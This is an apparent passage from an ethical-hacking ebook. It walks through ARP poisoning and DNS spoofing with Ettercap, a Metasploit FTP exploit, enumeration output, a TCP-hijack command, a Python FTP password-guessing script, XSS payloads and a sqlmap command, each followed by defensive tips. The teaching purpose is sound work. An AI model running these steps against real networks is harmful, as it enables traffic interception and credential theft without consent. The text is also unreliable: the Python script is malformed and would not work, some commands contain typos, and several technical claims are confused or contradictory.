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	ARP, or Address Resolution Protocol, is often used by hackers to resolve any IP address that is mapped to a machine. Every device on this network will need to communicate with the ARP through queries to find the addresses for any other system on the network. This process is also called ARP spoofing. 

	This is how ARP spoofing works:

	
		When a machine needs to pass information to another machine, it will look at the ARP table.

		If the address of the system is not found in the table, this ARP_request will be broadcasted over the complete network.

		Every machine in the network will then need to compare the IP and MAC addresses.

		If there is a machine in the network that can identify this address, it will respond to the request with the MAC and IP addresses.

		The computer requesting this information will store the IP and MAC address as a pair in the ARP table; this will help the system communicate with the target system.



	What Is ARP Spoofing?

	An ARP packet can be used to forge the data and send it back to the perpetrator’s machine.

	
		ARP spoofing will construct a large number of requests. It will then reply to the packets to create an overload on the switch or port.

		This switch is always set in the mode where it will forward the data. Once the ARP table is flooded with different responses, the attacker will then sniff all the packets of data in the network.



	An attacker will flood the target network or computer’s ARP cache using some forged entries. This method uses the man-in-the-middle approach to poison the network.

	What Is MITM?

	A man-in-the-middle attack (also abbreviated as MITM, MiTM, MiM, MIM and MITMA) is an active attack that’s performed on a network. During the MITM attack, a hacker will impersonate the user and create a connection between the source and the victim’s system, and it will then send messages between the two. In this case, the target networks or systems will be under the impression that they’re communicating with other target networks or systems. However, in reality, it’s the attacker that controls all the communication that takes place in the network.
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	There is another person who exists in the entire framework who will monitor and control the communication taking place between the parties. Systems can implement an SSL protocol to prevent this attack.

	ARP Poisoning – Exercise

	In this section, we will use the BetterCAP tool to perform this attack in the LAN environment. This is done using the VMware workstation where the Kali Linux and Ettercap tools have been installed. The latter is used to sniff the traffic in the network. 

	For the purpose of this exercise, you must install the following tools on your system:

	
		Kali Linux or Linux Operating System

		VMware workstation

		LAN connection

		Ettercap tool



	You can perform this attack in a wireless and a wired network using the local LAN.

	Step One

	You should first install the Kali Linux Operating System on your device followed by the VMware workstation.

	Step Two

	Now, log in to the Kali Linux system using the username “root” and password “toor”.

	Step Three

	Once you are connected to the local LAN, you should check the IP address of the network. You can do this by typing the ‘ifconfig’ command in the terminal.
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	Step Four

	Next, open up the terminal and press “Ettercap -G”. This will open the graphical version of the tool.
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	Step Five

	You should now click on the tab “sniff” and select the option for unified sniffing. Once you make the selection, you should move on to selecting the interface. For this, we will use “eth0”, which is the Ethernet connection.
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	Step Six

	Next, click on the “hosts” tab located on the page and choose the option “scan for hosts”. At this stage, it will begin to scan the network for all the active hosts.

	Step Seven

	You should then click on the “hosts” tab and choose the option “hosts list” to view the different hosts that are present on the network. This list will include the gateway address that the network uses as a default. You must ensure that you are careful about the targets that you select.
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	Step Eight

	You must now choose the targets for the hack. In the MITM, you should target as the host machine, and the route will be the address that the router follows. In this attack, you will need to intercept the network and sniff out all the packets of data passing through the network. You’ll also need to rename the victim and the router address using the names “target 1” and “target 2”. It’s important to remember that the default gateway in a VMware environment will end with “2”. This is because the number “1” is only assigned to physical machines.

	Step Nine

	Notice that your target IP address is “192.168.121.129” and the router IP address is “192.168.121.2”. Therefore, you should add the first target as the victim’s IP address and the second target as the router IP address.
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	Step Ten

	You should now click on “MITM” followed by “ARP poisoning”. After this, you should check the box next to “sniff remote connections” and click “OK”.
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	Step Eleven

	Next, click on “start” to begin the process of sniffing. This will initiate the ARP poisoning process in the network. This means that you’ve changed the mode of the network card to the promiscuous mode, so now local traffic can be observed and sniffed. Remember that you have only allowed the Ettercap to sniff HTTP, so you cannot expect that the HTTPS packet will be sniffed during the process.

	Step Twelve

	In this step, you’ll view the results. If the victim has logged into any website, you can obtain those results using the Ettercap scanner.
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	This is how sniffing works. Hopefully, you now understand that it’s easy to obtain the credentials of a protocol by using ARP poisoning. This process can create a huge loss for a company, and it is for this reason that an ethical hacker is employed to secure the network. There are many other sniffing processes apart from the ARP poisoning method, like MAC spoofing, MAC flooding, ICMP poisoning, DNS poisoning, etc. These processes can lead to a significant loss to the network. The following chapter will explain the process of DNS poisoning.
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	DNS Poisoning
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	With DNS poisoning, the attacker can trick the server into believing that the network has received authentic information from the network even though it hasn’t. This will result in the substitution of the false IP address for every website, allowing the attacker to change the IP address for a target website on a server with the IP address of another server control. The attacker will then need to create a DNS entry that is fake and has some malicious content. 

	For example, a user may type www.google.com in the browser, but he could be sent to a website other than Google. In other words, DNS poisoning will always redirect a user to a fake page that’s often managed by an attacker.

	DNS Poisoning

	This section will detail the process of DNS poisoning. For this process, we will use the sniffing tool Ettercap. DNS poisoning is like ARP poisoning, and to start the former, you will need to begin the latter. To do this, follow the steps laid out in the previous chapter. Ettercap has a plugin called DNS spoof, which we will use in this exercise.

	Step One

	You should open the terminal and type the following: ‘nano etter.dns’. All the DNS addresses that are used by Ettercap are present in this file. This file is used to resolve every domain name address. For the purpose of this exercise, we will include a fake entry named “Facebook” to this file. If any person chooses to open Facebook, he will be routed to a different website.
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	Step Two

	You should now insert all the entries in the system under the words “redirect it to www.linux.org”.

	Take a look at the example provided below:
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	Step Three

	You should now save the file and then exit the operation by using the “ctrl+x” combination to save the current version of the file.

	Step Four

	Once this is done, you should continue with the ARP poisoning. When the process of ARP poisoning is initiated, you select the dns_spoof plugin using the option in the menu bar.
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	Step Five

	After activating this plugin, you’ll see that every system on the network will move to a proxy website when the enters types “facebook.com” into their browser.
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	This means that the user will always move to the Google page instead of Facebook in their browser. This exercise illuminates how the traffic in a network can be sniffed using different methods and tools. Every company will need to employ an ethical hacker to protect the network from such attacks. 

	Now, let’s see how an ethical hacker can protect a system from DNS poisoning.

	How to Avoid DNS Poisoning

	As an ethical hacker, it’s important that you look at how you can prevent the possibility of penetration testing in a network. Your knowledge as an attacker will enable you to protect the system from the techniques that you employ. 

	There are multiple things to keep in mind when trying to protect the system from a penetration test. One piece of information you should remember is a hardware-switched network to protect the most vulnerable parts of the network will help to isolate the traffic in the network into a collision domain and single segment. Also, the IP DHCP snooping tool on a switch will prevent ARP spoofing and poisoning attacks.

	When you deploy a wireless access point in the network, all the traffic on the network can be sniffed using a sniffing tool. Additionally, you should encrypt the sensitive data in the network and use the IPsec or SSH protocol to encrypt the data.

	You can also use port security to protect those switches. These switches are used to program specific MAC addresses and allow them to send and receive data on the ports in the network.

	Bear in mind that IPv6 is a safer protocol when compared to the IPv4 protocol. You should try to replace different protocols like Telnet and FTP with ones that can prevent sniffing. You can use SSH or other protocols that have IPsec, and you can also use a VPN (Virtual Private Network) to defend the system from sniffing by encrypting the packets of data. Lastly, it is a good idea to use a combination of SSL and IPsec. 
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	Exploitation
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	Exploitation is a programmed script or software that allows a hacker to control an entire system, exploiting its vulnerabilities. Most hackers use Nexpose, Nessus, OpenVAS and other tools to scan these weak spots. Metasploit is one of the best tools for identifying them.

	[image: Image]28

	In this chapter, you will gain a deeper understanding of the different search engines you can use to test the vulnerability of a system.

	Exploit Database

	You can find the exploits that are related to every vulnerability or exposure in the exploit database. This can be found at the following location: www.exploit-db.com.
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	Common Exposures and Vulnerabilities

	One of the standards to measure the information security is known as common vulnerabilities and exposures (CVE). This dictionary has all the information about the information security exposures and vulnerabilities. It’s free for anybody to use. You can view the dictionary at: https://cve.mitre.org. 
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	National Vulnerability Database

	The NVD or National Vulnerability Database is a repository maintained by the U.S. government. It details the standard that needs to be maintained. This will enable the system administrator or an ethical hacker to automate vulnerability management, compliance and security management. This database can be found at https://nvd.nist.gov. It also includes misconfigurations, security-related flaws in the software, product names, impact metrics and security checklists.
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	Remote Exploit

	A remote exploit is where you don’t have to access the target network or system. A hacker can use a remote exploit to access any system, which is located in a remote place.

	Local Exploit

	System users often use a local exploit only if they have access to a local system.

	Quick Fix

	A vulnerability often arises in a system if there is a missing update or patch. This means that you should update your system at least once a week. In a Windows environment, you can do this by enabling automatic updates in the Windows Update option in the Control Panel.
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	In Linux, you should use the following command to update the system automatically: 

	‘yum -y install yum-cron’
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	Enumeration
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	Enumeration is the first phase in the ethical hacking process. This is when you can gather information. In this process, the attacker should establish or build a live connection with the target system or network to discover the attack as much as possible. This is then used to exploit the target system. 

	Enumeration is one of the best ways to gather information about:

	
		Network shares

		IP tables

		SNMP data (if it’s not well-secured)

		Password policy lists

		Usernames on different systems



	An enumeration attack is always dependent on the different services that are offered by the system. These services include:

	
		DNS enumeration

		NTP enumeration

		SNMP enumeration

		Linux/Windows enumeration

		SMB enumeration



	Let’s now take a look at some tools that are used for enumeration.

	NTP Suite

	Most hackers use the NTP Suite for enumeration. This is an important step that is performed in the network environment. It will help you find primary servers and also allow the host to update the information. This can be done without having to authenticate the system. Review the following example:33

	ntpdate 192.168.1.100 01 Sept 12:50:49 ntpdate[627]:

	adjust time server 192.168.1.100 offset 0.005030 sec

	or

	ntpdc [-ilnps] [-c command] [hostname/IP_address] 

	root@test]# ntpdc -c sysinfo 192.168.1.100

	***Warning changing to older implementation

	***Warning changing the request packet size from 160 to 48

	system peer: 192.168.1.101

	 

	system peer mode: client

	leap indicator: 00

	stratum: 5  

	 

	precision: -15

	root distance: 0.00107 s

	root dispersion: 0.02306 s

	reference ID: [192.168.1.101]

	reference time: f66s4f45.f633e130, Sept 01 2016 22:06:23.458

	system flags: monitor ntp stats calibrate

	jitter: 0.000000 s

	stability: 4.256 ppm

	broadcastdelay: 0.003875 s

	authdelay: 0.000107 s

	https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_enumeration.htm

	enum4linux

	This command is used to enumerate the operating system on a Linux system. Look at the screenshot below and see how some usernames have been found in the target system or network.
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	smtp-user-enum

	This function is used to identify the usernames of every network or system that uses the SMTP service. Examine the following screenshot to understand how this is carried out:
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	Quick Fix

	To avoid such an attack, you must disable all the services that you don’t use. This will reduce the possibility of operating system enumeration of different services that are running in the system.
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	Metasploit
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	This is one of the best tools used for exploitation. The resources can be found at https://www.metasploit.com. There are two versions of this tool: the commercial and free edition. Both tools offer the same features, so we will be using the free edition of the tool in this chapter. As an ethical hacker, you must use the Kali distribution since it has the free edition of Metasploit, along with other tools. If you want to use Metasploit in a different environment, you can install it for use on any operating system. 

	To install this, you will need the following hardware:

	
		1 GB+ available disk space

		1 GB RAM available

		2 GHz+ processor



	One can use Metasploit either on a web UI or a command prompt. If you want to open this tool in Kali, you should go to Kali -> Exploitation Tools -> Metasploit.
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	Once the exploit starts, you will find the following screen on your system. The version of the tool being used is underlined in red.
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	Exploits Performed Using Metasploit

	In this exercise, we are checking a Linux scanner. The vulnerability scanner shows that the operating system is vulnerable with respect to the FTP service. To do this, you should use the command “exploit path”. The following screen will appear on the system:
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	You should then type “mfs> show options” to look at the different parameters that have been set to make this functional. In the screenshot below, the target IP has been set to the RHOST.
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	Now, you should type “msf> set RHOST 192.168.1.101” and “msf>set RPORT 21”.
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	Next, type “mfs>run”. If the attack was successful, you’ll open a session where you can interact with the target system. Look at the screenshot below:
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	Metasploit Payloads

	In simple terms, a payload is a simple or small script that a hacker can use to interact with the target system. You can transfer the data from the attacker system to the victim system. There are three types of Metasploit payloads:

	Singles

	A single Metasploit payload is small, and it’s designed to begin some communication between the target and attacker system. It will then move to the next stage. For instance, it can be used to create a user.

	Staged

	This is a payload, which is implemented by an attacker to upload large files into the target system.

	Stages

	A stage is a payload component that is often downloaded using a stager module. Every stage of the payload provides some advanced features that have no limit in size, like the VNC injection or the Meterpreter.

	Example of Payload Usage

	In this example, we’ll use the show payloads command. You can see the different payloads that you’re allowed to use and also look at the different payloads that can allow a hacker to upload or execute different files on the target network or system.
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	You should use the following command to set the payload: set PAYLOAD payload/path.

	Make sure to set the listen host and port (the LHOST and LPORT) as the hacker’s IP and port. You should then set the remote host and port (RHOST and RHOST) as the target IP and port.
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	To create a session (example below), you type “exploit”.
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	You can now play with the target system and change the settings according to what the payload offers.
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	Trojan Attacks
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	A trojan is a virus that does not replicate. This means that it does not reproduce itself by attaching to other files or executable programs. A trojan often operates silently without the knowledge of the owner and will hide itself in a healthy process. It is important to remember that this virus can only affect a machine if the user has opened a file, downloaded an attachment, clicked on a link that was sent by an unknown user or plugged in a USB without scanning the device. A trojan can perform many malicious attacks, some of which are described below:

	
		They can create a backdoor or a trap door to the target network or system; malicious or ethical hackers can use these doors to access the files or the operating system.

		A trojan can steal sensitive data such as financial information, including transaction details, account details, payment related information, etc. This type of virus is called a Trojan Banker.

		These viruses can be used to attack the target system using a denial-of-service attack.

		They can encrypt every file in the target system, and the hacker can then demand to decrypt the files in the system for money. This is called a Ransomware Trojan.

		A trojan can be used to send an SMS from your mobile phone to any third party; this is called an SMS Trojan.



	Trojan Information

	If there is a virus on your system, and you want to learn more about the function of that virus, you can review the following databases; they will provide all necessary information:

	
		Kaspersky virus database: https://www.kaspersky.com 

		Symantec virus encyclopedia: https://www.symantec.com 

		F-secure: https://www.f-secure.com 



	Quick Tips

	
		You should always install an antivirus and ensure that it’s consistently updated.

		Never open an email if it comes from an unidentified source.

		Never accept an invitation from unknown people on any social media platform.

		Never open a URL that was sent in any form to you by an unknown person.
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	TCP/IP Hijacking 
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	TCP/IP hijacking is a type of attack performed on the network connection used by the victim. In this attack, one user tries to access an unauthorized network connection. This is done to avoid password authentication. Let’s look at the basics of the TCP/IP connection:
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	One can hijack or attack this connection in one of two ways:

	
		The hacker can look for a sequence and see if there’s a way to increase the count by one without giving the user a chance to predict it.

		They can use a man-in-the-middle attack or a network sniffing attack. Ettercap or Wireshark can be used for the purpose of this attack.



	Example

	A hacker will use TCP/IP hijacking to monitor the flow of data across the network and will obtain the IP addresses of the devices that are a part of the connection. Once the hacker obtains information about one of the systems in the network, he can attack the other system using a DoS attack. He can then continue to attack the target system by using a spoof.

	Shijack

	One of the best tools to hijack a TCP/IP connection is Shijack. This tool was developed using Python and can be downloaded using the following link: https://packetstormsecurity.com/sniffers/shijack.tgz. The following is an example of the Shijack command: 

	root:/home/root/hijack# ./shijack eth0 192.168.0.100 53517 192.168.0.200 23 
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	In this example, we are trying to disrupt the connection between two hosts that use Telnet.

	Hunt

	There are some professional hackers who prefer to use this tool to perform this specific attack. The tool can be downloaded using the following link: https://packetstormsecurity.com/sniffers/hunt/.
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	Quick Tip

	An unencrypted session is always vulnerable to this type of an attack, and it’s for this reason that you should use an encrypted protocol at all times. Alternatively, you can use double authentication to ensure that the session is secure.
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	Email Hijacking
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	Email hacking, or email hijacking, is a common attack that most hackers perform. This can be done using one of the three following techniques: email spoofing, social engineering tools or inserting a virus into the target system.

	Types of Email Hacking

	In this type of attack, the hacker will use a known domain to send an email to the target’s email ID. The receiver is led believe he knows the person sending the email and so will open it. These emails often contain doubtful content and suspicious links or information.
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	Social Engineering

	A hacker can send a promotional email to multiple users in which he talks about different discounts. He can then ask the users to provide some personal information that he can use against them. The Kali distribution provides different tools that can be used to hijack any email ID.
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	Hackers also use phishing techniques to hijack an email ID. Look at the screenshot below:
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	The links that are provided in the above email can install some virus or malware into the target’s system. Alternatively, these links are also able to redirect the user to another website where the user may need to fill in his personal details. A phishing attack is often performed by cybercriminals. It’s easy to trick a person into clicking a link sent via email.

	Inserting a Virus in the Target System

	Another technique that a hacker can employ to attack your email account is using a virus or any other malware to infect your system. A hacker can then obtain the password for your account and any other accounts linked to your email.

	How to Detect if Your Email Has Been Hacked

	
		Every spam email sent from your account goes to several people you are constantly in touch with.

		The password to your account does not work any more.

		When you try to use the “Forgot Password” option, you land on an unexpected webpage.

		Your sent folder contains a bunch of emails you never sent out.



	Quick Tips

	You should perform the following steps if you think that your email has been hacked:

	
		Change the password to your email and every account linked to your email immediately.

		Ensure that you let people know that they should not open any email sent from your account.

		Install a good antivirus and update it regularly.

		Contact an authority and report the hack.

		Set up a double authentication if necessary. 
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	Password Hacking
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	Every email, computer system, database, bank account, server and account that needs to be protected has a password. A password is used to access an account or system. People often set passwords that are easy for them to remember. They may use the names of their family members, their date of birth, mobile number and other easily accessible information. This makes the password quite simple to hack. Therefore, every user should try their best to create a strong password to protect their accounts from hackers. 

	A strong password will have the following attributes:

	
		A combination of capital and small letters

		A combination of special characters, numbers and letters

		At least eight characters



	Dictionary Attack

	In this type of attack, a hacker uses a predefined list of words and numbers in the dictionary and will then guess the password. If the password of the target is weak, it is easy to use this type of attack. One of the tools that hackers use to perform this attack is called Hydra. Look at the example below, and see how the toil has been used to find the password.
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	Hybrid Dictionary Attack

	A hybrid attack uses a combination of extensions with dictionary words. For example, a hacker can choose to combine the word “admin” with different extensions like “admin147” or “admin123”. Crunch is a tool that can be used to generate a list of words. You can specify the set of characters that can be used for this purpose. This tool will then generate every possible permutation.
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	Brute-Force Attack

	The hacker can use different combinations of letters, special characters, numbers and letter cases to crack the password. A hacker will be successful using this type of attack, but he should be willing to spend some time to perform it as this attack is slow. Also, the hacker will need to use a system that has a high-processing speed since it will need to look at different permutations and combinations. Johnny, or John the Ripper, is one of the best tools to use to perform this attack, and it comes pre-installed with the Kali Distribution.
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	Rainbow Table

	A rainbow table provides a list of predefined hashed passwords. This is a lookup table and is especially useful if the hacker wants to recover a plain password from any text. During this process, the pre-calculated hash is used to crack the password. A rainbow table can be downloaded using the following link: http://project-rainbowcrack.com/table.htm. You can use a rainbow table in the RainbowCrack 1.6.1 tool, which comes pre-installed in the Kali distribution.
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	Quick Tips

	
		You should always memorize passwords and ensure that you never write them down.

		Always set a strong password that’s difficult for another person to crack.

		Try to use a combination of numbers, letters, letter cases and symbols in your passwords.

		Never set a password that’s the same as your username.
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	Scripting in Python 
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	There are some features in Python that make it useful for ethical hacking. Most importantly, there are some pre-built libraries that give the hacker some additional functionality. In the previous chapters, we have covered some information about the variables and functions in Python. There are over 1,000 modules in Python, and there are many more in the repositories. This doesn’t mean that you can’t use Ruby, Perl or BASH to perform the same functions as Python, but it’s easier to build these functionalities in Python when compared to other tools or languages.

	Adding a Python Module

	In the Python standard library, there are a few modules that provide the user with an extensive range of capabilities, including exception handling, numeric modules, built-in data types, cryptographic services, file handling, interaction with Internet Protocols (IPs) and Internet data handling. We have already covered some of these concepts in the previous chapters.

	You will still need some third-party modules in Python. These modules that are available are probably the only reason why most hackers use Python for scripting. To learn more about the modules available for Python, follow this link: http://pypi.python.org/pypi.

	If you need to install a third-party module, you can use the wget to download the module from the repository. You’ll then need to decompress the model and run the python.setup.py.install command. For example, let’s download the python-nmap module and install it in Python; it can be downloaded from www.xael.org.

	Let’s first download the module from xael.org:

	kali > wget http://xael.org/norman/python/python-nmap/python-nmap-0.3.4.tar.gz

	Once you have downloaded the module, you should decompress it using tar.

	kali > tar -xzf python-nmap-0.3.4.tar.gz

	Now, change the directory to the newly created directory using Python.

	kali > cd python-nmap-.03.4/

	Next, install the new module by running the following code:

	kali > python setup.py install

	Now that you have installed the Nmap module in Python, you can use it to build your script.

	Since we have finished covering some of the basics of Python, let’s look at the code to build an FTP Password Cracker in Python.

	#!/usr/bin/python

	Import socket

	Import re

	Import sys

	Def connect(username, password):

	S = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	Print “[*] Trying “+ username + “:” + password

	s.connect((‘192.168.1.101’,21))

	data = s.recv(1024)

	s.send (“QUIT\r\n”)

	s.close()

	return data

	username = “Hacker1”

	passwords= [“test”, “backup”, “password”, “123456”, “root”, “admin”, “flip”, “password”, “”]

	for password in passwords:

	attempt = connect(username, password)

	if attempt == “230” :

	          print “[*] Password found: “+ password

	          sys.exit(0)
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	Wireless Hacking 
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	Every wireless network has at least one or more devices connected to it, and each device has a different radio wave in a limited space range. The devices in this type of network can continue to work but will need to be connected to the network and allow data to be shared between the systems in the network. Wireless networks are widely used around the world, and it’s easy for any user to set up one of these networks. They adhere to the IEEE 802.11 standards, and a wireless router is used to connect different systems to the network. In every wireless network, there are access points that are used as extensions for a wireless range. These points are analogous to logical switches.
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	A wireless network does offer a lot of flexibility, but it comes with many security issues. Hackers can easily sniff the network and look at the packets of data without accessing the network directly. Since a wireless network communicates using radio waves, it’s easy for a hacker to sniff the network. Hackers use network sniffing to hack a wireless network. A wireless card in sniffing mode is said to be in the monitor mode.

	Kismet

	Kismet is a powerful tool that can be used for wireless sniffing, and it comes pre-installed with the Kali distribution for Linux. This tool can be downloaded using the following link: https://www.kismetwireless.net/index.shtml. Let’s go into depth about how this tool works. 

	You should first open a terminal on your system and type the word “kismet”. You’ll be asked if you should start the Kismet server. Look at the screenshot below:
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	Once you click yes, another window will pop up where you should click the start button.
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	Kismet will now start capturing the data, and the following screenshot will appear:
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	NetStumbler

	This is another tool that most hackers use to hack a network or system. This tool was primarily designed for windows systems and can be downloaded by following this link: http://www.stumbler.net/. You can use this tool very easily on your system. 

	All you need to do is hit the scanning button and look at the output.

	[image: Image]56

	You will see the following screenshot:

	[image: Image]57

	You should note that the card should work in the monitoring mode - otherwise, you cannot monitor the attack.

	Wired Equivalent Privacy

	A wired equivalent privacy protocol was created to secure a wireless network and ensure that it’s private. This protocol encrypts the data at the data link layer and does not allow any unauthorized access. The objective is to encrypt the packets of data before the transmission of data starts. You can use an integrity check mechanism to ensure that the packets of data are not changed once they are transmitted. 

	Note that a WEP is not secure and has the following disadvantages:

	
		It’s vulnerable to a dictionary attack.

		It’s vulnerable to DoS attacks.



	WEPcrack

	This is one the most common tools used by hackers to crack a WEP password. It can be downloaded by visiting the following link: https://sourceforge.net/projects/wepcrack/.
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	Aircrack-ng

	Hackers also prefer to use the Aircrack-ng tool to crack a WEP password. This tool comes pre-installed with the Kali distribution of Linux. The screenshot below indicates that a wireless network has been sniffed, and the packets of data have been collected to create a file named “RHAWEP-01.cap”. This file is then run to decrypt the cypher.

	[image: Image]59

	Wireless DoS Attacks

	A hacker can use a wireless environment to his advantage and attack the network without interacting directly with it. This makes it difficult to collect any evidence about the hacker. There are two types of wireless DoS attacks that can be performed: a physical attack and network DoS attack.

	Physical Attack

	This is a very basic attack during which radio interferences are used to attack the network. These interferences can be created using cordless phones.

	Network DoS Attack

	This is another type of wireless DoS attack. Since a wireless access point uses a common medium, it gives the hacker a chance to transfer the data packets to one AP. This will make it hard for the AP to process the data, resulting in slower responses. These attacks are often created using a ping flood DoS attack.
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	Quick Tips

	You should remember the following points if you want to protect a wireless network:

	
		Never use a WEP encryption.

		Always change the default password for the access point.

		Regularly change the network password and SSID.

		Always update the firmware of the device.

		Never allow guest networking.
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	Social Engineering 
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	Chapter Twenty-Four: 

	Let’s look at a couple examples of social engineering attacks to better understand the concept.

	Example One

	A hacker or social engineer can pretend to be a valid user or an employee by using a fake identification card. These attackers can access a restricted area, which can lead to further attacks.

	Example Two

	There is another type of hacking called shoulder surfing where the hacker will be around you and will peep into your system when you are typing some sensitive information like your account PIN, password, user ID, etc.

	Phishing Attack

	Phishing attacks are social engineering attacks that are computer-based. During this particular attack, the hacker uses an email to hack the target system or network. The emails sent by the hacker will appear to be completely legitimate, but they’ll lead the user to a proxy (a fake website). If you are not careful and type your user ID and password on the proxy site, the hacker will store that information and hack your account.

	Quick Fix

	
		Ensure that your organization enforces a stringent security policy. Training should be conducted often to ensure that all employees are aware of every social engineering attack possible. The employees should also be made aware of the consequences of each attack.

		Ensure that every document used in the organization is shredded.

		Be certain that every link sent via email only comes from an authentic source; the links should always point to a legitimate website. You may be a victim of phishing otherwise.

		Never share your ID and password with any other person.
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	Distributed Denial-of-Service Attack
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	A distributed denial-of-service, or DDoS, attack is performed by overloading a network or server with large volumes of traffic from different users and sources. Unlike a DoS, or denial-of-service, attack where only one Internet connection and one computer is used, different Internet connections and different computers are employed during a DDoS attack.

	Types of Attacks

	A DDoS attack can be placed in one of two categories:

	
		Volume-based attacks

		Application layer attacks



	Volume-Based Attacks

	A volume-based DDoS attack includes ICMP floods, UDP Floods, spoofed packet floods and TCP floods. These attacks are commonly known as Layer 3 and 4 attacks. The magnitude of an attack is measured in bits per second (bps).

	UDP Flood

	A UDP flood attack is often used to flood any random port on a remote host server. This attack is performed by sending UDP packets to the server, especially to the port number 53. You can use a specialized firewall to block or filter out any malicious UDP packets of data.

	ICMP Flood

	This type of attack is similar to the UDP flood and is often used to attack a remote host by sending several ICMP echo requests. In this type of attack, both the incoming and outgoing bandwidth is used, and a large number of ping requests will slow the system down.

	HTTP Flood

	In an HTTP flood attack, the hacker will send an HTTP POST and HTTP GET request to the target system or network in large volumes. The server cannot handle these volumes, and this will lead to a denial of any additional connections from a legitimate client.

	Amplification Attack

	In an amplification attack, a hacker will request the server, website or network to generate a large response and include a DNS request for PDFs, HTTP GET requests for images, TXT records and other data files.

	Application Layer Attacks

	There are many types of application layer attacks, including DDoS attacks targeting Apache or Windows, zero-day DDoS attacks, Slowloris, and others. The goal of the hacker is to crash the web server. The magnitude of the attack is measured in requests per second.

	Slowloris

	The attacker will send numerous HTTP headers to the target network or server, but no request is ever complete. The target server will need to keep all these connections open, which will lead to an overflow in the connection pool. This will ensure that the server does not accept any additional connections.

	Application Attack

	An application attack (also known as a Layer 7 attack) is where the hacker will overload any application through search requests, excessively logging in or a large amount of database lookups. It’s hard to identify this attack since it resembles legitimate traffic.

	NTP Amplification

	In this type of attack, the hacker will exploit the NTP as it’s accessible to the public. The hacker will perform actions that aim to overwhelm the target server.

	Zero-Day DDoS Attacks

	A zero-day vulnerability is a flaw in either the application or the system that was unknown to the user, and this vulnerability has not yet been patched or fixed. There are many types of attacks that are currently being identified that explore different vulnerabilities in the system.

	How to Overcome a DDoS Attack

	There are numerous DDoS protection tools that one can use depending on the type of attack. You can prevent a DDoS by identifying the vulnerabilities in an operating system and closing them. You also must ensure that you close every port connected to your system, thereby removing the probability of unwanted access to the system. You can also hide the system behind a VPN or a proxy server.

	If the DDoS attack is low, you can use a firewall to filter out all the traffic that was sent to the network for the purpose of DDoS. If the magnitude of the attack is high, you should use a DDoS protection service provider. This tool will offer a proactive, genuine and holistic approach. You should always be careful when you select a DDoS protection service provider since there are quite a few who only want to take advantage of your situation. These providers will offer you numerous services at high costs if you let them know that your system was a victim of a DDoS attack.

	You should look for a DDoS protection service provider that can be used to configure the CNAME and A records for the website. You should also look for a CDN provider that can monitor and analyze the DDoS traffic and will protect your system from an attack. 

	Let’s assume that the IP address you’re using is AAA.BBB.CCC.DDD. You should configure the address in the following way:

	
		Create an “A Record” using a DNS identifier, and ensure that you keep it secret.

		Next, use the CDN provider to assign a URL to the DNS identifier.

		Lastly, use the CDN URL to create a CNAME record.



	You can ask your system administrator to help you with this task and verify that you’re configuring the CDN and DNS correctly. You will now have a DNS with the following configuration:
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	At this time, it’s advised that you let the CDN provider handle the attack on your system. The only condition is that you do not disclose your system’s A identifier or IP address.

	Quick Fix

	A DDoS attack is one of the most prevalent attacks performed on vulnerable networks and systems. Unfortunately, there’s no way to fix this problem quickly. If the system is under an attack, you should never panic, but instead start looking at the matter step by step.
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	Cross-Site Scripting 
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	A cross-site scripting, or XSS, attack is an attack performed on the target system’s browser by executing a malicious JavaScript. This is a type of code injection attack. In cross-site scripting, the hacker will not target the vulnerable system directly, but will instead exploit the vulnerability in a website that’s accessed by the victim. He will then use that vulnerability to inject the script into the target’s system. 

	The malicious JavaScript will look like a legitimate part of the website that the victim is viewing. Hackers can perform this attack using JavaScript, HTML, Flash, ActiveX or VBScript, though most hackers prefer to use JavaScript. The hacker can use this attack to obtain information and also hijack an account, change user settings or create a denial-of-service attack, false advertising or cookie poisoning.

	Below, we will review an example to understand how this attack is performed. 

	Example

	Using Metasploit, we have obtained the link to a webpage that is vulnerable, and we will check for an XSS attack on the webpage using the field that’s highlighted in red.
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	For this, we will first need to write the following script to raise an alert:

	<script>  

	   alert(‘I am Vulnerable’)  

	</script>

	You will obtain the following output:
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	Types of XSS Attacks

	There are three types of XSS attacks, including persistent XSS, reflected XSS and DOM-based XSS.

	Persistent XSS

	In a persistent XSS attack, the malicious string will be found in the database linked to the website.

	Reflected XSS

	A reflected XSS attack involves the malicious string being created based on the victim’s request.

	DOM-Based XSS

	In this type of attack, the vulnerability is not present at the server side of the code, but can be found at the client’s side of the code.

	One can identify a cross-site scripting attack using a vulnerability scanner like Burp Suite or Acunetix. Therefore, you don’t have to manually add a JavaScript on the website. If you do choose to perform a manual check, you can enter the following code:

	<script>  

	   alert('XSS')

	</script>

	Quick Tip

	You must practice the following if you wish to prevent an XSS attack:

	
		Validate and check every field present in a form, such as headers, query strings, cookies and hidden forms

		Implement a security policy and set a limit on the number of characters that can be entered into a field.
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	An SQL injection attack is a set of commands written in the SQL format. These are placed in the URL of the website and are used to retrieve the responses that the hacker wants to obtain from the database that’s connected to the web application. This type of attack often takes place on a webpage that’s developed using ASP.NET or PHP. This attack is most commonly done for the following reasons:

	
		To modify the information present in a database

		To dump the contents in the database

		To perform queries on the database that are often not allowed by the system



	SQL injection attacks usually work since most applications don’t validate or sanitize the inputs before they’re passed on to an SQL query or statement. An injection is often found in a data field, address bar or search field. One of the easiest ways to verify if there is an SQL injection attack is to use the “ ‘ ” character in any string and check if there are any errors.

	Let’s now delve further into the concept of SQL injection using a few examples.

	Example One

	In the screenshot below, the character “ ‘ ”  is used in the Name field.
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	When you click on the login button, you will obtain the response depicted below:
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	This indicates that the Name field is vulnerable to SQL injection.

	Example Two

	Let’s consider the following URL: http://10.10.10.101/mutillidae/index.php?page=site-footer-xssdiscussion.php. 

	We now want to see how the page will react when you enter a “ ‘ ”  character in the URL string.
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	You will need to press enter, and then you’ll obtain a result that is filled with errors.
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	sqlmap

	One of the best tools that any organization can use to detect an SQL injection attack is sqlmap. You can download this tool from http://sqlmap.org/. If you have the Kali distribution installed on your system, you don’t have to install the tool; you can locate it in the Database Assessment section of the distribution.

	Once you open sqlmap, you can obtain the header request from the website that has the SQL injection. Once you obtain that information, you’ll need to run the following code:

	./sqlmap.py --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0)

	Gecko/20100101 Firefox/25.0" --cookie="security=low;

	PHPSESSID=oikbs8qcic2omf5gnd09kihsm7" -u '

	http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' -

	level=5 risk=3 -p id --suffix="-BR" -v3

